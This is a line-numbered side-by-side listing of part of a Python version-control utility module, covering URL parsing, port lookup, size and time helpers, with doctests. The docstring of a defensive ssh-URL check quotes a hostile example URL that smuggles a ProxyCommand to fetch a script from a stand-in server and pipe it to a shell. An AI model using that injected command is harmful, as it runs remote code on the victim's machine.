2729 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2734 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2730
2735
2731 def getport(port):
2736 def getport(port):
2732 """Return the port for a given network service.
2737 """Return the port for a given network service.
2733
2738
2734 If port is an integer, it's returned as is. If it's a string, it's
2739 If port is an integer, it's returned as is. If it's a string, it's
2735 looked up using socket.getservbyname(). If there's no matching
2740 looked up using socket.getservbyname(). If there's no matching
2736 service, error.Abort is raised.
2741 service, error.Abort is raised.
2737 """
2742 """
2738 try:
2743 try:
2739 return int(port)
2744 return int(port)
2740 except ValueError:
2745 except ValueError:
2741 pass
2746 pass
2742
2747
2743 try:
2748 try:
2744 return socket.getservbyname(pycompat.sysstr(port))
2749 return socket.getservbyname(pycompat.sysstr(port))
2745 except socket.error:
2750 except socket.error:
2746 raise Abort(_("no port number associated with service '%s'") % port)
2751 raise Abort(_("no port number associated with service '%s'") % port)
2747
2752
2748 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2753 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2749 '0': False, 'no': False, 'false': False, 'off': False,
2754 '0': False, 'no': False, 'false': False, 'off': False,
2750 'never': False}
2755 'never': False}
2751
2756
2752 def parsebool(s):
2757 def parsebool(s):
2753 """Parse s into a boolean.
2758 """Parse s into a boolean.
2754
2759
2755 If s is not a valid boolean, returns None.
2760 If s is not a valid boolean, returns None.
2756 """
2761 """
2757 return _booleans.get(s.lower(), None)
2762 return _booleans.get(s.lower(), None)
2758
2763
2759 _hextochr = dict((a + b, chr(int(a + b, 16)))
2764 _hextochr = dict((a + b, chr(int(a + b, 16)))
2760 for a in string.hexdigits for b in string.hexdigits)
2765 for a in string.hexdigits for b in string.hexdigits)
2761
2766
2762 class url(object):
2767 class url(object):
2763 r"""Reliable URL parser.
2768 r"""Reliable URL parser.
2764
2769
2765 This parses URLs and provides attributes for the following
2770 This parses URLs and provides attributes for the following
2766 components:
2771 components:
2767
2772
2768 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2773 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2769
2774
2770 Missing components are set to None. The only exception is
2775 Missing components are set to None. The only exception is
2771 fragment, which is set to '' if present but empty.
2776 fragment, which is set to '' if present but empty.
2772
2777
2773 If parsefragment is False, fragment is included in query. If
2778 If parsefragment is False, fragment is included in query. If
2774 parsequery is False, query is included in path. If both are
2779 parsequery is False, query is included in path. If both are
2775 False, both fragment and query are included in path.
2780 False, both fragment and query are included in path.
2776
2781
2777 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2782 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2778
2783
2779 Note that for backward compatibility reasons, bundle URLs do not
2784 Note that for backward compatibility reasons, bundle URLs do not
2780 take host names. That means 'bundle://../' has a path of '../'.
2785 take host names. That means 'bundle://../' has a path of '../'.
2781
2786
2782 Examples:
2787 Examples:
2783
2788
2784 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2789 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2785 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2790 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2786 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2791 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2787 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2792 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2788 >>> url(b'file:///home/joe/repo')
2793 >>> url(b'file:///home/joe/repo')
2789 <url scheme: 'file', path: '/home/joe/repo'>
2794 <url scheme: 'file', path: '/home/joe/repo'>
2790 >>> url(b'file:///c:/temp/foo/')
2795 >>> url(b'file:///c:/temp/foo/')
2791 <url scheme: 'file', path: 'c:/temp/foo/'>
2796 <url scheme: 'file', path: 'c:/temp/foo/'>
2792 >>> url(b'bundle:foo')
2797 >>> url(b'bundle:foo')
2793 <url scheme: 'bundle', path: 'foo'>
2798 <url scheme: 'bundle', path: 'foo'>
2794 >>> url(b'bundle://../foo')
2799 >>> url(b'bundle://../foo')
2795 <url scheme: 'bundle', path: '../foo'>
2800 <url scheme: 'bundle', path: '../foo'>
2796 >>> url(br'c:\foo\bar')
2801 >>> url(br'c:\foo\bar')
2797 <url path: 'c:\\foo\\bar'>
2802 <url path: 'c:\\foo\\bar'>
2798 >>> url(br'\\blah\blah\blah')
2803 >>> url(br'\\blah\blah\blah')
2799 <url path: '\\\\blah\\blah\\blah'>
2804 <url path: '\\\\blah\\blah\\blah'>
2800 >>> url(br'\\blah\blah\blah#baz')
2805 >>> url(br'\\blah\blah\blah#baz')
2801 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2806 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2802 >>> url(br'file:///C:\users\me')
2807 >>> url(br'file:///C:\users\me')
2803 <url scheme: 'file', path: 'C:\\users\\me'>
2808 <url scheme: 'file', path: 'C:\\users\\me'>
2804
2809
2805 Authentication credentials:
2810 Authentication credentials:
2806
2811
2807 >>> url(b'ssh://joe:xyz@x/repo')
2812 >>> url(b'ssh://joe:xyz@x/repo')
2808 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2813 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2809 >>> url(b'ssh://joe@x/repo')
2814 >>> url(b'ssh://joe@x/repo')
2810 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2815 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2811
2816
2812 Query strings and fragments:
2817 Query strings and fragments:
2813
2818
2814 >>> url(b'http://host/a?b#c')
2819 >>> url(b'http://host/a?b#c')
2815 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2820 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2816 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2821 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2817 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2822 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2818
2823
2819 Empty path:
2824 Empty path:
2820
2825
2821 >>> url(b'')
2826 >>> url(b'')
2822 <url path: ''>
2827 <url path: ''>
2823 >>> url(b'#a')
2828 >>> url(b'#a')
2824 <url path: '', fragment: 'a'>
2829 <url path: '', fragment: 'a'>
2825 >>> url(b'http://host/')
2830 >>> url(b'http://host/')
2826 <url scheme: 'http', host: 'host', path: ''>
2831 <url scheme: 'http', host: 'host', path: ''>
2827 >>> url(b'http://host/#a')
2832 >>> url(b'http://host/#a')
2828 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2833 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2829
2834
2830 Only scheme:
2835 Only scheme:
2831
2836
2832 >>> url(b'http:')
2837 >>> url(b'http:')
2833 <url scheme: 'http'>
2838 <url scheme: 'http'>
2834 """
2839 """
2835
2840
2836 _safechars = "!~*'()+"
2841 _safechars = "!~*'()+"
2837 _safepchars = "/!~*'()+:\\"
2842 _safepchars = "/!~*'()+:\\"
2838 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2843 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2839
2844
2840 def __init__(self, path, parsequery=True, parsefragment=True):
2845 def __init__(self, path, parsequery=True, parsefragment=True):
2841 # We slowly chomp away at path until we have only the path left
2846 # We slowly chomp away at path until we have only the path left
2842 self.scheme = self.user = self.passwd = self.host = None
2847 self.scheme = self.user = self.passwd = self.host = None
2843 self.port = self.path = self.query = self.fragment = None
2848 self.port = self.path = self.query = self.fragment = None
2844 self._localpath = True
2849 self._localpath = True
2845 self._hostport = ''
2850 self._hostport = ''
2846 self._origpath = path
2851 self._origpath = path
2847
2852
2848 if parsefragment and '#' in path:
2853 if parsefragment and '#' in path:
2849 path, self.fragment = path.split('#', 1)
2854 path, self.fragment = path.split('#', 1)
2850
2855
2851 # special case for Windows drive letters and UNC paths
2856 # special case for Windows drive letters and UNC paths
2852 if hasdriveletter(path) or path.startswith('\\\\'):
2857 if hasdriveletter(path) or path.startswith('\\\\'):
2853 self.path = path
2858 self.path = path
2854 return
2859 return
2855
2860
2856 # For compatibility reasons, we can't handle bundle paths as
2861 # For compatibility reasons, we can't handle bundle paths as
2857 # normal URLS
2862 # normal URLS
2858 if path.startswith('bundle:'):
2863 if path.startswith('bundle:'):
2859 self.scheme = 'bundle'
2864 self.scheme = 'bundle'
2860 path = path[7:]
2865 path = path[7:]
2861 if path.startswith('//'):
2866 if path.startswith('//'):
2862 path = path[2:]
2867 path = path[2:]
2863 self.path = path
2868 self.path = path
2864 return
2869 return
2865
2870
2866 if self._matchscheme(path):
2871 if self._matchscheme(path):
2867 parts = path.split(':', 1)
2872 parts = path.split(':', 1)
2868 if parts[0]:
2873 if parts[0]:
2869 self.scheme, path = parts
2874 self.scheme, path = parts
2870 self._localpath = False
2875 self._localpath = False
2871
2876
2872 if not path:
2877 if not path:
2873 path = None
2878 path = None
2874 if self._localpath:
2879 if self._localpath:
2875 self.path = ''
2880 self.path = ''
2876 return
2881 return
2877 else:
2882 else:
2878 if self._localpath:
2883 if self._localpath:
2879 self.path = path
2884 self.path = path
2880 return
2885 return
2881
2886
2882 if parsequery and '?' in path:
2887 if parsequery and '?' in path:
2883 path, self.query = path.split('?', 1)
2888 path, self.query = path.split('?', 1)
2884 if not path:
2889 if not path:
2885 path = None
2890 path = None
2886 if not self.query:
2891 if not self.query:
2887 self.query = None
2892 self.query = None
2888
2893
2889 # // is required to specify a host/authority
2894 # // is required to specify a host/authority
2890 if path and path.startswith('//'):
2895 if path and path.startswith('//'):
2891 parts = path[2:].split('/', 1)
2896 parts = path[2:].split('/', 1)
2892 if len(parts) > 1:
2897 if len(parts) > 1:
2893 self.host, path = parts
2898 self.host, path = parts
2894 else:
2899 else:
2895 self.host = parts[0]
2900 self.host = parts[0]
2896 path = None
2901 path = None
2897 if not self.host:
2902 if not self.host:
2898 self.host = None
2903 self.host = None
2899 # path of file:///d is /d
2904 # path of file:///d is /d
2900 # path of file:///d:/ is d:/, not /d:/
2905 # path of file:///d:/ is d:/, not /d:/
2901 if path and not hasdriveletter(path):
2906 if path and not hasdriveletter(path):
2902 path = '/' + path
2907 path = '/' + path
2903
2908
2904 if self.host and '@' in self.host:
2909 if self.host and '@' in self.host:
2905 self.user, self.host = self.host.rsplit('@', 1)
2910 self.user, self.host = self.host.rsplit('@', 1)
2906 if ':' in self.user:
2911 if ':' in self.user:
2907 self.user, self.passwd = self.user.split(':', 1)
2912 self.user, self.passwd = self.user.split(':', 1)
2908 if not self.host:
2913 if not self.host:
2909 self.host = None
2914 self.host = None
2910
2915
2911 # Don't split on colons in IPv6 addresses without ports
2916 # Don't split on colons in IPv6 addresses without ports
2912 if (self.host and ':' in self.host and
2917 if (self.host and ':' in self.host and
2913 not (self.host.startswith('[') and self.host.endswith(']'))):
2918 not (self.host.startswith('[') and self.host.endswith(']'))):
2914 self._hostport = self.host
2919 self._hostport = self.host
2915 self.host, self.port = self.host.rsplit(':', 1)
2920 self.host, self.port = self.host.rsplit(':', 1)
2916 if not self.host:
2921 if not self.host:
2917 self.host = None
2922 self.host = None
2918
2923
2919 if (self.host and self.scheme == 'file' and
2924 if (self.host and self.scheme == 'file' and
2920 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2925 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2921 raise Abort(_('file:// URLs can only refer to localhost'))
2926 raise Abort(_('file:// URLs can only refer to localhost'))
2922
2927
2923 self.path = path
2928 self.path = path
2924
2929
2925 # leave the query string escaped
2930 # leave the query string escaped
2926 for a in ('user', 'passwd', 'host', 'port',
2931 for a in ('user', 'passwd', 'host', 'port',
2927 'path', 'fragment'):
2932 'path', 'fragment'):
2928 v = getattr(self, a)
2933 v = getattr(self, a)
2929 if v is not None:
2934 if v is not None:
2930 setattr(self, a, urlreq.unquote(v))
2935 setattr(self, a, urlreq.unquote(v))
2931
2936
2932 @encoding.strmethod
2937 @encoding.strmethod
2933 def __repr__(self):
2938 def __repr__(self):
2934 attrs = []
2939 attrs = []
2935 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2940 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2936 'query', 'fragment'):
2941 'query', 'fragment'):
2937 v = getattr(self, a)
2942 v = getattr(self, a)
2938 if v is not None:
2943 if v is not None:
2939 attrs.append('%s: %r' % (a, v))
2944 attrs.append('%s: %r' % (a, v))
2940 return '<url %s>' % ', '.join(attrs)
2945 return '<url %s>' % ', '.join(attrs)
2941
2946
2942 def __bytes__(self):
2947 def __bytes__(self):
2943 r"""Join the URL's components back into a URL string.
2948 r"""Join the URL's components back into a URL string.
2944
2949
2945 Examples:
2950 Examples:
2946
2951
2947 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2952 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2948 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2953 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2949 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2954 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2950 'http://user:pw@host:80/?foo=bar&baz=42'
2955 'http://user:pw@host:80/?foo=bar&baz=42'
2951 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2956 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2952 'http://user:pw@host:80/?foo=bar%3dbaz'
2957 'http://user:pw@host:80/?foo=bar%3dbaz'
2953 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2958 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2954 'ssh://user:pw@[::1]:2200//home/joe#'
2959 'ssh://user:pw@[::1]:2200//home/joe#'
2955 >>> bytes(url(b'http://localhost:80//'))
2960 >>> bytes(url(b'http://localhost:80//'))
2956 'http://localhost:80//'
2961 'http://localhost:80//'
2957 >>> bytes(url(b'http://localhost:80/'))
2962 >>> bytes(url(b'http://localhost:80/'))
2958 'http://localhost:80/'
2963 'http://localhost:80/'
2959 >>> bytes(url(b'http://localhost:80'))
2964 >>> bytes(url(b'http://localhost:80'))
2960 'http://localhost:80/'
2965 'http://localhost:80/'
2961 >>> bytes(url(b'bundle:foo'))
2966 >>> bytes(url(b'bundle:foo'))
2962 'bundle:foo'
2967 'bundle:foo'
2963 >>> bytes(url(b'bundle://../foo'))
2968 >>> bytes(url(b'bundle://../foo'))
2964 'bundle:../foo'
2969 'bundle:../foo'
2965 >>> bytes(url(b'path'))
2970 >>> bytes(url(b'path'))
2966 'path'
2971 'path'
2967 >>> bytes(url(b'file:///tmp/foo/bar'))
2972 >>> bytes(url(b'file:///tmp/foo/bar'))
2968 'file:///tmp/foo/bar'
2973 'file:///tmp/foo/bar'
2969 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2974 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2970 'file:///c:/tmp/foo/bar'
2975 'file:///c:/tmp/foo/bar'
2971 >>> print(url(br'bundle:foo\bar'))
2976 >>> print(url(br'bundle:foo\bar'))
2972 bundle:foo\bar
2977 bundle:foo\bar
2973 >>> print(url(br'file:///D:\data\hg'))
2978 >>> print(url(br'file:///D:\data\hg'))
2974 file:///D:\data\hg
2979 file:///D:\data\hg
2975 """
2980 """
2976 if self._localpath:
2981 if self._localpath:
2977 s = self.path
2982 s = self.path
2978 if self.scheme == 'bundle':
2983 if self.scheme == 'bundle':
2979 s = 'bundle:' + s
2984 s = 'bundle:' + s
2980 if self.fragment:
2985 if self.fragment:
2981 s += '#' + self.fragment
2986 s += '#' + self.fragment
2982 return s
2987 return s
2983
2988
2984 s = self.scheme + ':'
2989 s = self.scheme + ':'
2985 if self.user or self.passwd or self.host:
2990 if self.user or self.passwd or self.host:
2986 s += '//'
2991 s += '//'
2987 elif self.scheme and (not self.path or self.path.startswith('/')
2992 elif self.scheme and (not self.path or self.path.startswith('/')
2988 or hasdriveletter(self.path)):
2993 or hasdriveletter(self.path)):
2989 s += '//'
2994 s += '//'
2990 if hasdriveletter(self.path):
2995 if hasdriveletter(self.path):
2991 s += '/'
2996 s += '/'
2992 if self.user:
2997 if self.user:
2993 s += urlreq.quote(self.user, safe=self._safechars)
2998 s += urlreq.quote(self.user, safe=self._safechars)
2994 if self.passwd:
2999 if self.passwd:
2995 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3000 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2996 if self.user or self.passwd:
3001 if self.user or self.passwd:
2997 s += '@'
3002 s += '@'
2998 if self.host:
3003 if self.host:
2999 if not (self.host.startswith('[') and self.host.endswith(']')):
3004 if not (self.host.startswith('[') and self.host.endswith(']')):
3000 s += urlreq.quote(self.host)
3005 s += urlreq.quote(self.host)
3001 else:
3006 else:
3002 s += self.host
3007 s += self.host
3003 if self.port:
3008 if self.port:
3004 s += ':' + urlreq.quote(self.port)
3009 s += ':' + urlreq.quote(self.port)
3005 if self.host:
3010 if self.host:
3006 s += '/'
3011 s += '/'
3007 if self.path:
3012 if self.path:
3008 # TODO: similar to the query string, we should not unescape the
3013 # TODO: similar to the query string, we should not unescape the
3009 # path when we store it, the path might contain '%2f' = '/',
3014 # path when we store it, the path might contain '%2f' = '/',
3010 # which we should *not* escape.
3015 # which we should *not* escape.
3011 s += urlreq.quote(self.path, safe=self._safepchars)
3016 s += urlreq.quote(self.path, safe=self._safepchars)
3012 if self.query:
3017 if self.query:
3013 # we store the query in escaped form.
3018 # we store the query in escaped form.
3014 s += '?' + self.query
3019 s += '?' + self.query
3015 if self.fragment is not None:
3020 if self.fragment is not None:
3016 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3021 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3017 return s
3022 return s
3018
3023
3019 __str__ = encoding.strmethod(__bytes__)
3024 __str__ = encoding.strmethod(__bytes__)
3020
3025
3021 def authinfo(self):
3026 def authinfo(self):
3022 user, passwd = self.user, self.passwd
3027 user, passwd = self.user, self.passwd
3023 try:
3028 try:
3024 self.user, self.passwd = None, None
3029 self.user, self.passwd = None, None
3025 s = bytes(self)
3030 s = bytes(self)
3026 finally:
3031 finally:
3027 self.user, self.passwd = user, passwd
3032 self.user, self.passwd = user, passwd
3028 if not self.user:
3033 if not self.user:
3029 return (s, None)
3034 return (s, None)
3030 # authinfo[1] is passed to urllib2 password manager, and its
3035 # authinfo[1] is passed to urllib2 password manager, and its
3031 # URIs must not contain credentials. The host is passed in the
3036 # URIs must not contain credentials. The host is passed in the
3032 # URIs list because Python < 2.4.3 uses only that to search for
3037 # URIs list because Python < 2.4.3 uses only that to search for
3033 # a password.
3038 # a password.
3034 return (s, (None, (s, self.host),
3039 return (s, (None, (s, self.host),
3035 self.user, self.passwd or ''))
3040 self.user, self.passwd or ''))
3036
3041
3037 def isabs(self):
3042 def isabs(self):
3038 if self.scheme and self.scheme != 'file':
3043 if self.scheme and self.scheme != 'file':
3039 return True # remote URL
3044 return True # remote URL
3040 if hasdriveletter(self.path):
3045 if hasdriveletter(self.path):
3041 return True # absolute for our purposes - can't be joined()
3046 return True # absolute for our purposes - can't be joined()
3042 if self.path.startswith(br'\\'):
3047 if self.path.startswith(br'\\'):
3043 return True # Windows UNC path
3048 return True # Windows UNC path
3044 if self.path.startswith('/'):
3049 if self.path.startswith('/'):
3045 return True # POSIX-style
3050 return True # POSIX-style
3046 return False
3051 return False
3047
3052
3048 def localpath(self):
3053 def localpath(self):
3049 if self.scheme == 'file' or self.scheme == 'bundle':
3054 if self.scheme == 'file' or self.scheme == 'bundle':
3050 path = self.path or '/'
3055 path = self.path or '/'
3051 # For Windows, we need to promote hosts containing drive
3056 # For Windows, we need to promote hosts containing drive
3052 # letters to paths with drive letters.
3057 # letters to paths with drive letters.
3053 if hasdriveletter(self._hostport):
3058 if hasdriveletter(self._hostport):
3054 path = self._hostport + '/' + self.path
3059 path = self._hostport + '/' + self.path
3055 elif (self.host is not None and self.path
3060 elif (self.host is not None and self.path
3056 and not hasdriveletter(path)):
3061 and not hasdriveletter(path)):
3057 path = '/' + path
3062 path = '/' + path
3058 return path
3063 return path
3059 return self._origpath
3064 return self._origpath
3060
3065
3061 def islocal(self):
3066 def islocal(self):
3062 '''whether localpath will return something that posixfile can open'''
3067 '''whether localpath will return something that posixfile can open'''
3063 return (not self.scheme or self.scheme == 'file'
3068 return (not self.scheme or self.scheme == 'file'
3064 or self.scheme == 'bundle')
3069 or self.scheme == 'bundle')
3065
3070
3066 def hasscheme(path):
3071 def hasscheme(path):
3067 return bool(url(path).scheme)
3072 return bool(url(path).scheme)
3068
3073
3069 def hasdriveletter(path):
3074 def hasdriveletter(path):
3070 return path and path[1:2] == ':' and path[0:1].isalpha()
3075 return path and path[1:2] == ':' and path[0:1].isalpha()
3071
3076
3072 def urllocalpath(path):
3077 def urllocalpath(path):
3073 return url(path, parsequery=False, parsefragment=False).localpath()
3078 return url(path, parsequery=False, parsefragment=False).localpath()
3074
3079
3075 def checksafessh(path):
3080 def checksafessh(path):
3076 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3081 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3077
3082
3078 This is a sanity check for ssh urls. ssh will parse the first item as
3083 This is a sanity check for ssh urls. ssh will parse the first item as
3079 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3084 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3080 Let's prevent these potentially exploited urls entirely and warn the
3085 Let's prevent these potentially exploited urls entirely and warn the
3081 user.
3086 user.
3082
3087
3083 Raises an error.Abort when the url is unsafe.
3088 Raises an error.Abort when the url is unsafe.
3084 """
3089 """
3085 path = urlreq.unquote(path)
3090 path = urlreq.unquote(path)
3086 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3091 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3087 raise error.Abort(_('potentially unsafe url: %r') %
3092 raise error.Abort(_('potentially unsafe url: %r') %
3088 (path,))
3093 (path,))
3089
3094
3090 def hidepassword(u):
3095 def hidepassword(u):
3091 '''hide user credential in a url string'''
3096 '''hide user credential in a url string'''
3092 u = url(u)
3097 u = url(u)
3093 if u.passwd:
3098 if u.passwd:
3094 u.passwd = '***'
3099 u.passwd = '***'
3095 return bytes(u)
3100 return bytes(u)
3096
3101
3097 def removeauth(u):
3102 def removeauth(u):
3098 '''remove all authentication information from a url string'''
3103 '''remove all authentication information from a url string'''
3099 u = url(u)
3104 u = url(u)
3100 u.user = u.passwd = None
3105 u.user = u.passwd = None
3101 return str(u)
3106 return str(u)
3102
3107
3103 timecount = unitcountfn(
3108 timecount = unitcountfn(
3104 (1, 1e3, _('%.0f s')),
3109 (1, 1e3, _('%.0f s')),
3105 (100, 1, _('%.1f s')),
3110 (100, 1, _('%.1f s')),
3106 (10, 1, _('%.2f s')),
3111 (10, 1, _('%.2f s')),
3107 (1, 1, _('%.3f s')),
3112 (1, 1, _('%.3f s')),
3108 (100, 0.001, _('%.1f ms')),
3113 (100, 0.001, _('%.1f ms')),
3109 (10, 0.001, _('%.2f ms')),
3114 (10, 0.001, _('%.2f ms')),
3110 (1, 0.001, _('%.3f ms')),
3115 (1, 0.001, _('%.3f ms')),
3111 (100, 0.000001, _('%.1f us')),
3116 (100, 0.000001, _('%.1f us')),
3112 (10, 0.000001, _('%.2f us')),
3117 (10, 0.000001, _('%.2f us')),
3113 (1, 0.000001, _('%.3f us')),
3118 (1, 0.000001, _('%.3f us')),
3114 (100, 0.000000001, _('%.1f ns')),
3119 (100, 0.000000001, _('%.1f ns')),
3115 (10, 0.000000001, _('%.2f ns')),
3120 (10, 0.000000001, _('%.2f ns')),
3116 (1, 0.000000001, _('%.3f ns')),
3121 (1, 0.000000001, _('%.3f ns')),
3117 )
3122 )
3118
3123
3119 _timenesting = [0]
3124 _timenesting = [0]
3120
3125
3121 def timed(func):
3126 def timed(func):
3122 '''Report the execution time of a function call to stderr.
3127 '''Report the execution time of a function call to stderr.
3123
3128
3124 During development, use as a decorator when you need to measure
3129 During development, use as a decorator when you need to measure
3125 the cost of a function, e.g. as follows:
3130 the cost of a function, e.g. as follows:
3126
3131
3127 @util.timed
3132 @util.timed
3128 def foo(a, b, c):
3133 def foo(a, b, c):
3129 pass
3134 pass
3130 '''
3135 '''
3131
3136
3132 def wrapper(*args, **kwargs):
3137 def wrapper(*args, **kwargs):
3133 start = timer()
3138 start = timer()
3134 indent = 2
3139 indent = 2
3135 _timenesting[0] += indent
3140 _timenesting[0] += indent
3136 try:
3141 try:
3137 return func(*args, **kwargs)
3142 return func(*args, **kwargs)
3138 finally:
3143 finally:
3139 elapsed = timer() - start
3144 elapsed = timer() - start
3140 _timenesting[0] -= indent
3145 _timenesting[0] -= indent
3141 stderr.write('%s%s: %s\n' %
3146 stderr.write('%s%s: %s\n' %
3142 (' ' * _timenesting[0], func.__name__,
3147 (' ' * _timenesting[0], func.__name__,
3143 timecount(elapsed)))
3148 timecount(elapsed)))
3144 return wrapper
3149 return wrapper
3145
3150
3146 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3151 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3147 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3152 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3148
3153
3149 def sizetoint(s):
3154 def sizetoint(s):
3150 '''Convert a space specifier to a byte count.
3155 '''Convert a space specifier to a byte count.
3151
3156
3152 >>> sizetoint(b'30')
3157 >>> sizetoint(b'30')
3153 30
3158 30
3154 >>> sizetoint(b'2.2kb')
3159 >>> sizetoint(b'2.2kb')
3155 2252
3160 2252
3156 >>> sizetoint(b'6M')
3161 >>> sizetoint(b'6M')
3157 6291456
3162 6291456
3158 '''
3163 '''
3159 t = s.strip().lower()
3164 t = s.strip().lower()
3160 try:
3165 try:
3161 for k, u in _sizeunits:
3166 for k, u in _sizeunits:
3162 if t.endswith(k):
3167 if t.endswith(k):
3163 return int(float(t[:-len(k)]) * u)
3168 return int(float(t[:-len(k)]) * u)
3164 return int(t)
3169 return int(t)
3165 except ValueError:
3170 except ValueError:
3166 raise error.ParseError(_("couldn't parse size: %s") % s)
3171 raise error.ParseError(_("couldn't parse size: %s") % s)
3167
3172
3168 class hooks(object):
3173 class hooks(object):
3169 '''A collection of hook functions that can be used to extend a
3174 '''A collection of hook functions that can be used to extend a
3170 function's behavior. Hooks are called in lexicographic order,
3175 function's behavior. Hooks are called in lexicographic order,
3171 based on the names of their sources.'''
3176 based on the names of their sources.'''
3172
3177
3173 def __init__(self):
3178 def __init__(self):
3174 self._hooks = []
3179 self._hooks = []
3175
3180
3176 def add(self, source, hook):
3181 def add(self, source, hook):
3177 self._hooks.append((source, hook))
3182 self._hooks.append((source, hook))
3178
3183
3179 def __call__(self, *args):
3184 def __call__(self, *args):
3180 self._hooks.sort(key=lambda x: x[0])
3185 self._hooks.sort(key=lambda x: x[0])
3181 results = []
3186 results = []
3182 for source, hook in self._hooks:
3187 for source, hook in self._hooks:
3183 results.append(hook(*args))
3188 results.append(hook(*args))
3184 return results
3189 return results
3185
3190
3186 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3191 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3187 '''Yields lines for a nicely formatted stacktrace.
3192 '''Yields lines for a nicely formatted stacktrace.
3188 Skips the 'skip' last entries, then return the last 'depth' entries.
3193 Skips the 'skip' last entries, then return the last 'depth' entries.
3189 Each file+linenumber is formatted according to fileline.
3194 Each file+linenumber is formatted according to fileline.
3190 Each line is formatted according to line.
3195 Each line is formatted according to line.
3191 If line is None, it yields:
3196 If line is None, it yields:
3192 length of longest filepath+line number,
3197 length of longest filepath+line number,
3193 filepath+linenumber,
3198 filepath+linenumber,
3194 function
3199 function
3195
3200
3196 Not be used in production code but very convenient while developing.
3201 Not be used in production code but very convenient while developing.
3197 '''
3202 '''
3198 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3203 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3199 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3204 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3200 ][-depth:]
3205 ][-depth:]
3201 if entries:
3206 if entries:
3202 fnmax = max(len(entry[0]) for entry in entries)
3207 fnmax = max(len(entry[0]) for entry in entries)
3203 for fnln, func in entries:
3208 for fnln, func in entries:
3204 if line is None:
3209 if line is None:
3205 yield (fnmax, fnln, func)
3210 yield (fnmax, fnln, func)
3206 else:
3211 else:
3207 yield line % (fnmax, fnln, func)
3212 yield line % (fnmax, fnln, func)
3208
3213
3209 def debugstacktrace(msg='stacktrace', skip=0,
3214 def debugstacktrace(msg='stacktrace', skip=0,
3210 f=stderr, otherf=stdout, depth=0):
3215 f=stderr, otherf=stdout, depth=0):
3211 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3216 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3212 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3217 Skips the 'skip' entries closest to the call, then show 'depth' entries.
